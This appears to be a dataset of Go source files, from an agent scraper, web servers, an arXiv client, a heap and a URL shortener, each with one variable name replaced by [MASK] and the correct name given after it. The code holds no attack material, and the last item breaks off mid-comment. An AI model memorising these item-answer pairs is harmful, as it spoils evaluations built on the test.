Agent struct { l *zap.Logger g *run.Group writer metricstore.Writer hServer *http.Server hostPort int configFile string reloaders []func(cfg *agent_config.Config) error } type AgentConfig struct { ConfigFile string MetricWriter metricstore.Writer Logger *zap.Logger HttpPort int MetricFactory metrics.Factory NewSDManager bool SplitLength int } // New constructs a new agent component func New(config *AgentConfig) *Agent { var scrapeManager *scrape.Manager type closeOnce struct { C chan struct{} once sync.Once Close func() } var g run.Group // Wait until the server is ready to handle reloading. reloadReady := &closeOnce{ C: make(chan struct{}), } reloadReady.Close = func() { reloadReady.once.Do(func() { close(reloadReady.C) }) } var discoveryManagerScrape discoveryManager [MASK] , cancelScrape := context.WithCancel(context.Background()) if config.NewSDManager { discovery.RegisterMetrics() discoveryManagerScrape = discovery.NewManager( [MASK] , config.Logger.With(zap.String(""component"", ""discovery manager scrape"")), discovery.Name(""scrape"")) } else { legacymanager.RegisterMetrics() discoveryManagerScrape = legacymanager.NewManager( [MASK] , config.Logger.With(zap.String(""component"", ""discovery manager scrape"")), legacymanager.Name(""scrape"")) } scrapeManager = scrape.NewManager(config.Logger.With(zap.String(""component"", ""scrape manager"")), config.MetricWriter, config.SplitLength) reloaders := []func(cfg *agent_config.Config) error{ scrapeManager.ApplyConfig, func(cfg *agent_config.Config) error { c := make(map[string]discovery.Configs) for _, v := range cfg.ScrapeConfigs { c[v.JobName] = v.ServiceDiscoveryConfigs } return discoveryManagerScrape.ApplyConfig(c) }, } { // Scrape discovery manager. g.Add( func() error { err := discoveryManagerScrape.Run() config.Logger.Info(""Scrape discovery manager stopped"") return err }, func(err error) { config.Logger.Info(""Stopping scrape discovery manager..."") cancelScrape() }, ) } { // Scrape manager g.Add( func() error { <-reloadReady.C err := scrapeManager.Run(discoveryManagerScrape.SyncCh()) config.Logger.Info(""Scrape manager stopped"") return err }, func(err error) { config.Logger.Info(""Stopping scrape manager..."") scrapeManager.Stop() }, ) } { // Initial config cancel := make(chan struct{}) g.Add( func() error { if err := agent_config.ReloadConfig(config.ConfigFile, config.Logger, reloaders...); err != nil { return errors.Wrapf(err, ""error loading config from %q"", config.ConfigFile) } reloadReady.Close() config.Logger.Info(""Server is ready to receive web requests."") <-cancel return nil }, func(err error) { close(cancel) }, ) } return &Agent{ l: config.Logger, hostPort: config.HttpPort, configFile: config.ConfigFile, g: &g, reloaders: reloaders, } } func (a *Agent) Run() error { // HTTP server for config reload if httpServer, err := server.StartHTTPServer(&server.HttpServerParams{ HostPort: ports.PortToHostPort(a.hostPort), Logger: a.l, Reloader: a.reloaders, ConfigFile: a.configFile, }); err != nil { return err } else { a.hServer = httpServer } if err := a.g.Run(); err != nil { a.l.Error(""agent group run error"", zap.Error(err)) os.Exit(1) } return nil } func (a *Agent) ReloadConfig() error { if err := agent_config.ReloadConfig(a.configFile, a.l, a.reloaders...); err != nil { return errors.Wrapf(err, ""error loading config from %q"", a.configFile) } return nil } func (a *Agent) Stop() error { a.Close() os.Exit(1) return nil } func (a *Agent) Close() { if err := a.hServer.Close(); err != nil { a.l.Error(""agent httpserver close error"", zap.Error(err)) } } // discoveryManager interfaces the discovery manager. This is used to keep using // the manager that restarts SD's on reload for a few releases until we feel // the new manager can be enabled for all users. type discoveryManager interface { ApplyConfig(cfg map[string]discovery.Configs) error Run() error SyncCh() <-chan map[string][]*targetgroup.Group } ",ctxScrape 48,"package main import ( ""fmt"" ""log"" ""net/http"" ""os"" ) func main() { web() } func web() { http.HandleFunc(""/"", httpHello) http.HandleFunc(""/host"", httpHost) //http.HandleFunc(""/stop"", httpStop) listenPort := "":8080"" if [MASK] := os.Getenv(""HTTP_PLATFORM_PORT""); [MASK] != """" { listenPort = "":"" + [MASK] } fmt.Printf(""Listening on %s\n"", listenPort) err := http.ListenAndServe(listenPort, httpLog(http.DefaultServeMux)) if err != nil { log.Fatal(err) } } func httpHello(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, ""Hello Gopher!\n"") } func httpHost(w http.ResponseWriter, r *http.Request) { if hostname, err := os.Hostname(); err == nil { fmt.Fprintf(w, ""Hostname: %s\n"", hostname) } } func httpStop(w http.ResponseWriter, r *http.Request) { os.Exit(0) } func httpLog(handler http.Handler) http.Handler { return http.HandlerFunc( func(w http.ResponseWriter, r *http.Request) { log.Printf(""%s %s %s\n"", r.RemoteAddr, r.Method, r.URL) handler.ServeHTTP(w, r) }) } ",val 49,"package main import ( ""bytes"" ""fmt"" ""log"" ""net/http"" ""github.com/gorilla/mux"" ""github.com/spf13/viper"" ""github.com/spf13/pflag"" ) const PREFIX = ""K8SCONFIG"" const NAME = ""vName"" const ENVIRONMENTVALUE = ""environment"" const DEFAULTVALUE = ""default"" const COMMANDLINEVALUE = ""command-line"" const CONFIGFILEVALUE = ""configuration-file"" const CONFIGFILENAMEPREFIX = ""k8sconfig"" const URLDEFAULTVALUE = ""0.0.0.0:80"" const URLDEFAULTNAME = ""url"" // WriteStandardHeaders ... Write standard headers for each page, these include // the content type and the allow-origin. func writeStandardHeaders(w http.ResponseWriter) { w.Header().Set(""Content-Type"", ""application/x-javascript"") // Allow applications from another domain to use Api w.Header().Add(""Access-Control-Allow-Origin"", ""*"") } func configHandler(w http.ResponseWriter, r *http.Request) { writeStandardHeaders(w) w.WriteHeader(http.StatusOK) var [MASK] bytes.Buffer [MASK] .WriteString(""{'configuration':true, 'value':'"" + getValue() + ""'}"") w.Write( [MASK] .Bytes()) } // Router ... Routes definition, kept in distinct function to allow // for compatibility with test writing func Router() *mux.Router { // Setup route handlers r := mux.NewRouter() r.HandleFunc(""/{id:(?i)config}"", configHandler).Methods(""GET"") return r } func configSetup() { viper.SetEnvPrefix(PREFIX) // will be uppercased automatically viper.AutomaticEnv() viper.SetDefault(NAME, DEFAULTVALUE) viper.SetDefault(URLDEFAULTNAME, URLDEFAULTVALUE) viper.SetConfigName(CONFIGFILENAMEPREFIX) // name of config file (without extension) viper.AddConfigPath(""."") viper.AddConfigPath(""./config"") } func configReadConfigFile() { err := viper.ReadInConfig() // Find and read the config file if err != nil { // Handle errors reading the config file fmt.Printf(""Using alternate configuration settings. No configuration file found for prefix: %v.\n"", CONFIGFILENAMEPREFIX) } } func configCommandLine(){ pflag.String(""url"", viper.GetString(URLDEFAULTNAME), fmt.Sprintf(""The base URL for the service. Default to %v"", getConfigString(URLDEFAULTNAME))) pflag.Parse() viper.BindPFlags(pflag.CommandLine) } func getValue() string { return viper.GetString(NAME) } func getConfigString(s string) string { return viper.GetString(s) } func main() { fmt.Println(""starting k8sconfigtest... "") configSetup() configReadConfigFile() configCommandLine() fmt.Printf(""on start test variable value is: %v\n"", getValue()) http.Handle(""/"", Router()) // Start the http server fmt.Printf(""listening on %v\n"", getConfigString(URLDEFAULTNAME)) log.Fatal(http.ListenAndServe(getConfigString(URLDEFAULTNAME), nil)) } ",buffer 50,"package main import ( ""context"" ""flag"" ""log"" ""net"" ""net/http"" ""os"" ""os/signal"" ""syscall"" ""gopkg.in/ini.v1"" ""gopkg.in/natefinch/lumberjack.v2"" ) var cfg = struct { Main struct { Addr string Certificate string CertificateKey string LogPath string LogMaxSize int LogMaxBackups int LogMaxAge int } Log struct { MaxDataLen int } }{} type Listener struct { net.Listener } func (l Listener) Accept() ( [MASK] net.Conn, err error) { if [MASK] , err = l.Listener.Accept(); err != nil { return } if err = [MASK] .(*net.TCPConn).SetNoDelay(true); err != nil { return } return } func main() { // parse configure if flag.Parse(); len(flag.Arg(0)) == 0 { log.Fatalf(""Usage: %s path_to_configure"", os.Args[0]) } if err := ini.MapTo(&cfg, flag.Arg(0)); err != nil { log.Fatalf(""parse fail: %v"", err) } if cfg.Main.LogPath != """" { log.SetOutput(&lumberjack.Logger{ Filename: cfg.Main.LogPath, MaxSize: cfg.Main.LogMaxSize, MaxBackups: cfg.Main.LogMaxBackups, MaxAge: cfg.Main.LogMaxAge, }) } log.Printf(""start %v"", cfg) // listener l, err := net.Listen(""tcp"", cfg.Main.Addr) if err != nil { return } l = &Listener{Listener: l} // http http.Handle(""/datetime"", NewDateTimeHandler()) http.Handle(""/log"", NewLogHandler()) var s = &http.Server{} if len(cfg.Main.Certificate) == 0 || len(cfg.Main.CertificateKey) == 0 { go s.Serve(l) } else { go s.ServeTLS(l, cfg.Main.Certificate, cfg.Main.CertificateKey) } defer func() { if err = s.Shutdown(context.Background()); err != nil { log.Printf(""shutdown fail: %v"", err) } }() // waiting for term signal sig := make(chan os.Signal, 1) signal.Ignore(syscall.SIGPIPE) signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM) <-sig } ",conn 51,"// Copyright 2017 orijtech. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package arxiv import ( ""context"" ""encoding/xml"" ""errors"" ""fmt"" ""io/ioutil"" ""net/http"" ""sync"" ""time"" ""golang.org/x/tools/blog/atom"" ""go.opencensus.io/plugin/ochttp"" ""go.opencensus.io/trace"" ""github.com/orijtech/otils"" ) type Client struct { sync.RWMutex rt http.RoundTripper } func (c *Client) httpClient() *http.Client { c.RLock() defer c.RUnlock() rt := c.rt if rt == nil { rt = http.DefaultTransport } return &http.Client{Transport: &ochttp.Transport{Base: rt}} } func (c *Client) SetHTTPRoundTripper(rt http.RoundTripper) { c.Lock() defer c.Unlock() c.rt = rt } const ( baseURL = ""http://export.arxiv.org/api"" ) const recommendedThrottleDuration = time.Duration(3 * time.Second) type SortOrder string const ( SortAscending SortOrder = ""ascending"" SortDescending SortOrder = ""descending"" ) type SortBy string const ( SortByRelevance SortBy = ""relevance"" SortBySubmittedDate SortBy = ""submittedDate"" SortByLastUpdatedDate SortBy = ""lastUpdatedDate"" ) type Query struct { MaxPageNumber int64 `json:""max_page""` Terms string `json:""search_query""` Filters Filters `json:""filters""` PageNumber int64 `json:""start""` MaxResultsPerPage int64 `json:""max_results""` // ArticleIDs is the specific set of articles // to be searched for by the API. ArticleIDs []string `json:""id_list""` SortBy SortBy `json:""sortBy""` SortOrder SortOrder `json:""sortOrder""` // ThrottleSeconds determines the period that it'll // wait before making the next pagination request. // arxiv.org recommends that you set it to 3 seconds // to play nice. If this value is unset, the recommended // 3 second throttle duration will be used. // Set it to a negative value e.g -1 for no throttling. ThrottleSeconds int64 `json:""throttle_seconds""` } // Fresh struct here to avoid sending // unnecessary query string values from Query type reqPage struct { Terms string `json:""search_query""` Start int64 `json:""start""` MaxResults int64 `json:""max_results""` ArticleIDs []string `json:""id_list""` SortBy SortBy `json:""sortBy""` SortOrder SortOrder `json:""sortOrder""` } func (q *Query) reqPage() *reqPage { return &reqPage{ Terms: q.Terms, Start: q.PageNumber, SortBy: q.SortBy, MaxResults: q.MaxResultsPerPage, ArticleIDs: q.ArticleIDs[:], SortOrder: q.SortOrder, } } var ( errNilQuery = errors.New(""non-nil query expected"") errExpectingIDsOrQuery = errors.New(""expecting either ArticleIDs or Terms or Filters to have been set"") ) func (q *Query) Validate() error { if q == nil { return errNilQuery } if len(q.ArticleIDs) == 0 && q.Terms == """" && len(q.Filters) == 0 { return errExpectingIDsOrQuery } return nil } type ResultsPage struct { Feed *atom.Feed `json:""feed""` PageNumber int64 `json:""page_number""` Err error `json:""error""` } const ( defaultMaxResultsPerPage = 10 ) func (q *Query) prepareForPagination() { // Pages are zero-based so anything // less than that should be set to zero if q.PageNumber <= 0 { q.PageNumber = 0 } if q.MaxResultsPerPage <= 0 { q.MaxResultsPerPage = defaultMaxResultsPerPage } } type cancelFn func() var defaultClient = new(Client) func Search(ctx context.Context, q *Query) (chan *ResultsPage, cancelFn, error) { return defaultClient.Search(ctx, q) } func (c *Client) Search(ctx context.Context, q *Query) (chan *ResultsPage, cancelFn, error) { ctx, span := trace.StartSpan(ctx, ""arxiv/v1.Search"") defer span.End() if err := q.Validate(); err != nil { return nil, nil, err } maxPageNumber := q.MaxPageNumber maxPageExceeded := func(pageNumber int64) bool { return maxPageNumber > 0 && pageNumber >= maxPageNumber } responsesChan := make(chan *ResultsPage) cancelFn, cancelChan := makeCanceler() var throttleDuration = recommendedThrottleDuration secs := q.ThrottleSeconds if secs >= 1 { throttleDuration = time.Duration(secs) * time.Second } else if secs <= -1 { throttleDuration = 0 * time.Second } // Take out the filters on their own filters := q.Filters[:] filtersStr := filters.String() go func() { defer close(responsesChan) [MASK] := q [MASK] .prepareForPagination() for { respPage := new(ResultsPage) respPage.PageNumber = [MASK] .PageNumber qv, err := otils.ToURLValues( [MASK] .reqPage()) if err != nil { respPage.Err = err responsesChan <- respPage return } if len(filters) > 0 { qv.Set(""search_query"", filtersStr) } cctx, span := trace.StartSpan(ctx, ""paging"") span.Annotate([]trace.Attribute{ trace.Int64Attribute(""page"", [MASK] .PageNumber), }, ""paging"") fullURL := fmt.Sprintf(""%s/query?%s"", baseURL, qv.Encode()) req, err := http.NewRequest(""GET"", fullURL, nil) if err != nil { span.End() respPage.Err = err responsesChan <- respPage return } slurp, _, err := c.doReqAndSlurp(cctx, req) span.End() if err != nil { respPage.Err = err responsesChan <- respPage return } _, umSpan := trace.StartSpan(ctx, ""xml_unmarshal-to-atom.Feed"") feed := new(atom.Feed) err = xml.Unmarshal(slurp, feed) umSpan.End() if err != nil { respPage.Err = err responsesChan <- respPage return } if feed == nil || len(feed.Entry) == 0 { // No more content since pages must be contiguous // before we encounter the first empty page. break } respPage.Feed = feed responsesChan <- respPage [MASK] .PageNumber += 1 if maxPageExceeded( [MASK] .PageNumber) { break } select { case <-time.After(throttleDuration): case <-cancelChan: return } } }() return responsesChan, cancelFn, nil } func makeCanceler() (cancelFn, <-chan bool) { cancelChan := make(chan bool) var cancelOnce sync.Once cancelFn := func() { cancelOnce.Do(func() { close(cancelChan) }) } return cancelFn, cancelChan } func (c *Client) doReqAndSlurp(ctx context.Context, req *http.Request) ([]byte, http.Header, error) { ctx, span := trace.StartSpan(ctx, ""arxiv/v1/doReqAndslurp"") defer span.End() res, err := c.httpClient().Do(req) if err != nil { return nil, nil, err } if res.Body != nil { defer res.Body.Close() } if !otils.StatusOK(res.StatusCode) { msg := res.Status if res.Body != nil { slurp, _ := ioutil.ReadAll(res.Body) if len(slurp) > 4 { msg = string(slurp) } } return nil, res.Header, errors.New(msg) } slurp, err := ioutil.ReadAll(res.Body) return slurp, res.Header, err } ",pager 52,"package heap import ( ""errors"" ""fmt"" ) type Heap struct { items []int } func NewHeap() *Heap { return &Heap{} } func (h *Heap) Insert(key int) { h.items = append(h.items, key) h.heapifyUp(len(h.items) - 1) } func (h *Heap) ExtractMax() (int, error) { if len(h.items) == 0 { return 0, errors.New(""heap is empty"") } max := h.items[0] lastIndex := len(h.items) - 1 h.items[0] = h.items[lastIndex] h.items = h.items[:lastIndex] if len(h.items) > 0 { h.heapifyDown(0) } return max, nil } func (h *Heap) heapifyDown(index int) { maxIndex := index for { leftChild := 2*index + 1 rightChild := 2*index + 2 if leftChild < len(h.items) && h.items[leftChild] > h.items[maxIndex] { maxIndex = leftChild } if rightChild < len(h.items) && h.items[rightChild] > h.items[maxIndex] { maxIndex = rightChild } if maxIndex == index { break } h.swap(index, maxIndex) index = maxIndex } } func (h *Heap) heapifyUp(index int) { for h.hasParent(index) && h.parent(index) < h.items[index] { h.swap(h.parentIndex(index), index) index = h.parentIndex(index) } } func (h *Heap) parentIndex(index int) int { return (index - 1) / 2 } func (h *Heap) hasParent(index int) bool { return h.parentIndex(index) >= 0 } func (h *Heap) parent(index int) int { return h.items[h.parentIndex(index)] } func (h *Heap) swap(index1, [MASK] int) { h.items[index1], h.items[ [MASK] ] = h.items[ [MASK] ], h.items[index1] } func (h *Heap) PrintHeap() { fmt.Println(h.items) } ",index2 53,"package cmd import ( ""fmt"" ""os"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ""github.com/anchore/ecs-inventory/internal/config"" ""github.com/anchore/ecs-inventory/internal/logger"" ""github.com/anchore/ecs-inventory/pkg"" pkgLog ""github.com/anchore/ecs-inventory/pkg/logger"" ) var ( appConfig *config.AppConfig cliOnlyOpts config.CliOnlyOptions log pkgLog.Logger ) func init() { setGlobalCliOptions() cobra.OnInitialize( InitAppConfig, initLogging, logAppConfig, ) } func setGlobalCliOptions() { rootCmd.PersistentFlags().StringVarP(&cliOnlyOpts.ConfigPath, ""config"", ""c"", """", ""application config file"") rootCmd.PersistentFlags().CountVarP(&cliOnlyOpts.Verbosity, ""verbose"", ""v"", ""increase verbosity (-v = info, -vv = debug)"") } func Execute() { if err := rootCmd.Execute(); err != nil { fmt.Fprintln(os.Stderr, err.Error()) os.Exit(1) } } func InitAppConfig() { [MASK] , err := config.LoadConfigFromFile(viper.GetViper(), &cliOnlyOpts) if err != nil { fmt.Printf(""Failed to load application config: \n\t%+v\n"", err) os.Exit(1) } appConfig = [MASK] } func GetAppConfig() *config.AppConfig { return appConfig } func initLogging() { logConfig := logger.LogConfig{ Level: appConfig.Log.Level, FileLocation: appConfig.Log.FileLocation, } logger.Log = logger.InitZapLogger(logConfig) log = logger.Log pkg.SetLogger(logger.Log) } func logAppConfig() { log.Debug(""Application config"", ""config"", appConfig) } ",cfg 54,"package conn import ( ""crypto/hmac"" ""crypto/sha256"" ""fmt"" ""log"" ""strings"" ""time"" ""github.com/dgrijalva/jwt-go"" ""github.com/bytehouse-cloud/driver-go/driver/lib/ch_encoding"" ""github.com/bytehouse-cloud/driver-go/driver/protocol"" ) const ( SignatureAuthService = ""bytehouse"" // Bytehouse is one of Volcano service SignatureDateFormat = ""20060102"" ) // AKCredential contain credential scope. It also // implement jwt.Claims and used as a claim. type AKCredential struct { AccessKey string `json:""sub""` Service string `json:""aud""` // default: ByteHouse Date string `json:""date""` // format: yyyymmdd Region string `json:""region""` } // Scope is credential scope in unix-path like separator. func (v AKCredential) Scope() string { elems := []string{ v.AccessKey, v.Date, v.Region, v.Service, } return strings.Join(elems, ""/"") } // Valid implement jwt.Claims func (v AKCredential) Valid() error { if v.AccessKey == """" { return fmt.Errorf(""driver: empty access key in AK/SK credential"") } if v.Service == """" { return fmt.Errorf(""driver: empty audience service in AK/SK credential"") } _, err := time.Parse(SignatureDateFormat, v.Date) if err != nil { return fmt.Errorf(""driver: invalid date format in AK/SK credential"") } if v.Region == """" { return fmt.Errorf(""driver: empty region in AK/SK credential"") } return nil } // SigningKey represent signing key created from secret key + credential. type SigningKey []byte func (s SigningKey) JWTSecretFunc(_ *jwt.Token) (interface{}, error) { return []byte(s), nil } // NewSigningKey creates new signing key. func NewSigningKey(secret string, cred *AKCredential) SigningKey { kDate := hmacSHA256([]byte(secret), cred.Date) kRegion := hmacSHA256(kDate, cred.Region) kService := hmacSHA256(kRegion, cred.Service) kSigning := hmacSHA256(kService, ""request"") // Volcano style return kSigning } // Sign signs credential (claim) using signing key. // It returns the signature string and error if any. func Sign(signingKey SigningKey, cred *AKCredential) (string, error) { if err := cred.Valid(); err != nil { return """", err } [MASK] := jwt.NewWithClaims(jwt.SigningMethodHS256, cred) return [MASK] .SignedString([]byte(signingKey)) } // SignatureAuthentication handler based on ByteHouse AM // custom AK/SK Signature Auth. type SignatureAuthentication struct { cred *AKCredential signature string } // NewSignatureAuthentication creates new Authentication handler based // on ByteHouse AM custom AK/SK Signature Auth. func NewSignatureAuthentication(accessKey, secretKey, region string) *SignatureAuthentication { cred := &AKCredential{ AccessKey: accessKey, Region: region, Date: time.Now().Format(SignatureDateFormat), Service: SignatureAuthService, } signingKey := NewSigningKey(secretKey, cred) signature, err := Sign(signingKey, cred) if err != nil { log.Print(""WARN: invalid credential, failed to generate signature from AK/SK"") } return &SignatureAuthentication{ cred: cred, signature: signature, } } func (s *SignatureAuthentication) WriteAuthProtocol(encoder *ch_encoding.Encoder) error { return encoder.Uvarint(protocol.ClientHelloSignature) } func (s *SignatureAuthentication) WriteAuthData(encoder *ch_encoding.Encoder) error { credstr := s.cred.Scope() if err := encoder.String(credstr); err != nil { return err } return encoder.String(s.signature) } func (s *SignatureAuthentication) Identity() string { return s.cred.Scope() } // hmacSHA256 ... func hmacSHA256(key []byte, content string) []byte { mac := hmac.New(sha256.New, key) mac.Write([]byte(content)) return mac.Sum(nil) } ",jwtc 55,"package tini import ( ""os"" ""path/filepath"" ""time"" ""github.com/paketo-buildpacks/packit/v2"" ""github.com/paketo-buildpacks/packit/v2/cargo"" ""github.com/paketo-buildpacks/packit/v2/chronos"" ""github.com/paketo-buildpacks/packit/v2/postal"" ""github.com/paketo-buildpacks/packit/v2/sbom"" ""github.com/paketo-buildpacks/packit/v2/scribe"" ) //go:generate faux --interface EntryResolver --output fakes/entry_resolver.go type EntryResolver interface { Resolve(name string, entries []packit.BuildpackPlanEntry, priorities []interface{}) (packit.BuildpackPlanEntry, []packit.BuildpackPlanEntry) MergeLayerTypes(name string, entries []packit.BuildpackPlanEntry) (launch, build bool) } //go:generate faux --interface DependencyManager --output fakes/dependency_manager.go type DependencyManager interface { Resolve(path, id, version, stack string) (postal.Dependency, error) Deliver(dependency postal.Dependency, cnbPath, layerPath, platformPath string) error GenerateBillOfMaterials(dependencies ...postal.Dependency) []packit.BOMEntry } //go:generate faux --interface SBOMGenerator --output fakes/sbom_generator.go type SBOMGenerator interface { GenerateFromDependency(dependency postal.Dependency, dir string) (sbom.SBOM, error) } func Build( entries EntryResolver, dependencies DependencyManager, clock chronos.Clock, logger scribe.Emitter, sbomGenerator SBOMGenerator, ) packit.BuildFunc { return func(context packit.BuildContext) (packit.BuildResult, error) { logger.Title(""%s %s"", context.BuildpackInfo.Name, context.BuildpackInfo.Version) entry, _ := entries.Resolve(""tini"", context.Plan.Entries, nil) version, ok := entry.Metadata[""version""].(string) if !ok { version = ""default"" } dependency, err := dependencies.Resolve( filepath.Join(context.CNBPath, ""buildpack.toml""), entry.Name, version, context.Stack) if err != nil { return packit.BuildResult{}, err } bom := dependencies.GenerateBillOfMaterials(dependency) launch, build := entries.MergeLayerTypes(""tini"", context.Plan.Entries) var [MASK] packit.BuildMetadata if build { [MASK] .BOM = bom } var launchMetadata packit.LaunchMetadata if launch { launchMetadata.BOM = bom } layer, err := context.Layers.Get(Tini) if err != nil { return packit.BuildResult{}, err } cachedChecksum, ok := layer.Metadata[""dependency-checksum""].(string) if ok && cargo.Checksum(dependency.Checksum).MatchString(cachedChecksum) { logger.Process(""Reusing cached layer %s"", layer.Path) logger.Break() layer.Launch, layer.Build, layer.Cache = launch, build, build return packit.BuildResult{ Layers: []packit.Layer{layer}, Build: [MASK] , Launch: launchMetadata, }, nil } logger.Process(""Executing build process"") layer, err = layer.Reset() if err != nil { return packit.BuildResult{}, err } layer.Launch, layer.Build, layer.Cache = launch, build, build logger.Subprocess(""Installing %s %s"", dependency.Name, dependency.Version) err = os.MkdirAll(filepath.Join(layer.Path, ""bin""), os.ModePerm) if err != nil { return packit.BuildResult{}, err } duration, err := clock.Measure(func() error { d := dependency d.Name = ""tini"" // This is to get the correct name on the binary return dependencies.Deliver(d, context.CNBPath, filepath.Join(layer.Path, ""bin""), context.Platform.Path) }) if err != nil { return packit.BuildResult{}, err } logger.Action(""Completed in %s"", duration.Round(time.Millisecond)) logger.Break() logger.GeneratingSBOM(layer.Path) var sbomContent sbom.SBOM duration, err = clock.Measure(func() error { sbomContent, err = sbomGenerator.GenerateFromDependency(dependency, layer.Path) return err }) if err != nil { return packit.BuildResult{}, err } logger.Action(""Completed in %s"", duration.Round(time.Millisecond)) logger.Break() logger.FormattingSBOM(context.BuildpackInfo.SBOMFormats...) layer.SBOM, err = sbomContent.InFormats(context.BuildpackInfo.SBOMFormats...) if err != nil { return packit.BuildResult{}, err } layer.Metadata = map[string]interface{}{ ""dependency-checksum"": dependency.Checksum, } return packit.BuildResult{ Layers: []packit.Layer{layer}, Build: [MASK] , Launch: launchMetadata, }, nil } } ",buildMetadata 56,"// Copyright (C) GRyCAP - I3M - UPV // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Package cdmi provides a client to perform the core container and object operations defined in the Cloud Data Management Interface specification. package cdmi import ( ""crypto/tls"" ""fmt"" ""net/http"" ""net/url"" ) const ( // Version default CDMI version used. Version = ""1.1.1"" // VersionHeader CDMI version header key. VersionHeader = ""X-CDMI-Specification-Version"" // ObjectHeader HTTP header for CDMI objects. ObjectHeader = ""application/cdmi-object"" // ContainerHeader HTTP header for CDMI containers. ContainerHeader = ""application/cdmi-container"" ) // Client represents a CDMI client. type Client struct { Endpoint *url.URL HTTPClient *http.Client } // New creates a new CDMI client. If the CDMI server doesn't implement auth, token must be an empty string. func New(endpoint *url.URL, token string, [MASK] bool) *Client { var transport http.RoundTripper transport = &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: ! [MASK] }, } if token != """" { transport = &customTransport{ transport: transport, token: token, } } return &Client{ Endpoint: endpoint, HTTPClient: &http.Client{Transport: transport}, } } // Struct to decorate a transport with a token. type customTransport struct { transport http.RoundTripper token string } // RoundTrip function to implement the RoundTripper interface adding the token to request's headers. func (ct *customTransport) RoundTrip(req *http.Request) (*http.Response, error) { req.Header.Add(""Authorization"", fmt.Sprintf(""Bearer %s"", ct.token)) return ct.transport.RoundTrip(req) } ",verify 57,"// Package handlers manages the different versions of the API. package handlers import ( ""context"" ""database/sql"" ""encoding/json"" ""errors"" ""fmt"" ""net/http"" ""os"" ""time"" ""github.com/gorilla/mux"" ""github.com/jmoiron/sqlx"" ""go.uber.org/zap"" ""github.com/illyasch/url-shortener/pkg/business/shortener"" ""github.com/illyasch/url-shortener/pkg/data/database"" ) // APIConfig contains all the mandatory systems required by handlers. type APIConfig struct { Log *zap.SugaredLogger DB *sqlx.DB } type errorResponse struct { Error string `json:""error""` } // Router constructs a http.Handler with all application routes defined. func (cfg APIConfig) Router() http.Handler { store := shortener.New(cfg.DB) [MASK] := mux.NewRouter() [MASK] .HandleFunc(""/{code}"", cfg.handleExpand(store)).Methods(http.MethodGet) [MASK] .HandleFunc(""/shorten"", cfg.handleShorten(store)).Methods(http.MethodPost) [MASK] .HandleFunc(""/readiness"", cfg.handleReadiness).Methods(http.MethodGet) [MASK] .HandleFunc(""/liveness"", cfg.handleLiveness).Methods(http.MethodGet) return [MASK] } // handleShorten handler saves a URL to the database and returns its id encoded to BASE62 string. func (cfg APIConfig) handleShorten(store shortener.Engine) http.HandlerFunc { const URLMinLen = 9 type shortenResponse struct { Code string `json:""code""` } return func(w http.ResponseWriter, r *http.Request) { url := r.FormValue(""url"") if len(url) < URLMinLen { err := errors.New(""input URL is incorrect"") cfg.respond(w, http.StatusBadRequest, errorResponse{Error: err.Error()}) cfg.Log.Errorw(""shorten"", ""ERROR"", fmt.Errorf(""validation url(%s): %w"", url, err)) return } code, err := store.Shorten(r.Context(), url) if err != nil { cfg.respond(w, http.StatusInternalServerError, errorResponse{ Error: http.StatusText(http.StatusInternalServerError), }) cfg.Log.Errorw(""shorten"", ""ERROR"", fmt.Errorf(""shortening: %w"", err)) return } cfg.respond(w, http.StatusOK, shortenResponse{Code: code}) cfg.Log.Infow(""shorten"", ""statusCode"", http.StatusOK, ""method"", r.Method, ""path"", r.URL.Path, ""remoteaddr"", r.RemoteAddr) } } // handleExpand handler takes the BASE62 code, decodes it and returns a corresponding URL from the database. func (cfg APIConfig) handleExpand(store shortener.Engine) func(w http.ResponseWriter, r *http.Request) { const CodeMinLen = 6 type expandResponse struct { URL string `json:""url""` } inputErr := errors.New(""input URL code is incorrect"") return func(w http.ResponseWriter, r *http.Request) { code, ok := mux.Vars(r)[""code""] if !ok || len(code) < CodeMinLen { cfg.respond(w, http.StatusBadRequest, errorResponse{Error: inputErr.Error()}) cfg.Log.Errorw(""expand"", ""ERROR"", fmt.Errorf(""validation code(%s): %w"", code, inputErr)) return } url, err := store.Expand(r.Context(), code) if err == nil { cfg.respond(w, http.StatusOK, expandResponse{URL: url}) cfg.Log.Infow(""expand"", ""statusCode"", http.StatusOK, ""method"", r.Method, ""path"", r.URL.Path, ""remoteaddr"", r.RemoteAddr) return } status := http.StatusInternalServerError switch { case errors.Is(err, shortener.DecodeErr): status = http.StatusBadRequest err = fmt.Errorf(""validation code(%s): %w"", code, inputErr) case errors.Is(err, sql.ErrNoRows): status = http.StatusNotFound err = fmt.Errorf(""not found code(%s)"", code) } cfg.respond(w, status, errorResponse{ Error: http.StatusText(status), }) cfg.Log.Errorw(""expand"", ""ERROR"", fmt.Errorf(""shortening: %w"", err)) return } } // handleReadiness checks if the database is ready and if not will return a 500 status if it's not. func (cfg APIConfig) handleReadiness(w http.ResponseWriter, r *http.Request) { ctx, cancel := context.WithTimeout(r.Context(), time.Second) defer cancel() status := ""ok"" statusCode := http.StatusOK if err := database.StatusCheck(ctx, cfg.DB); err != nil { status = ""db not ready"" statusCode = http.StatusInternalServerError cfg.Log.Errorw(""readiness"", ""ERROR"", fmt.Errorf(""status check: %w"", err)) } data := struct { Status string `json:""status""` }{ Status: status, } cfg.respond(w, statusCode, data) cfg.Log.Infow(""readiness"", ""statusCode"", statusCode, ""method"", r.Method, ""path"", r.URL.Path, ""remoteaddr"", r.RemoteAddr) } // handleLiveness returns simple status info if the service is alive. If the // app is deployed to a Kubernetes cluster, it will also return pod, node, and // namespace details via the Downward API. The Kubernetes environment variables // need to be set within your Pod/Deployment 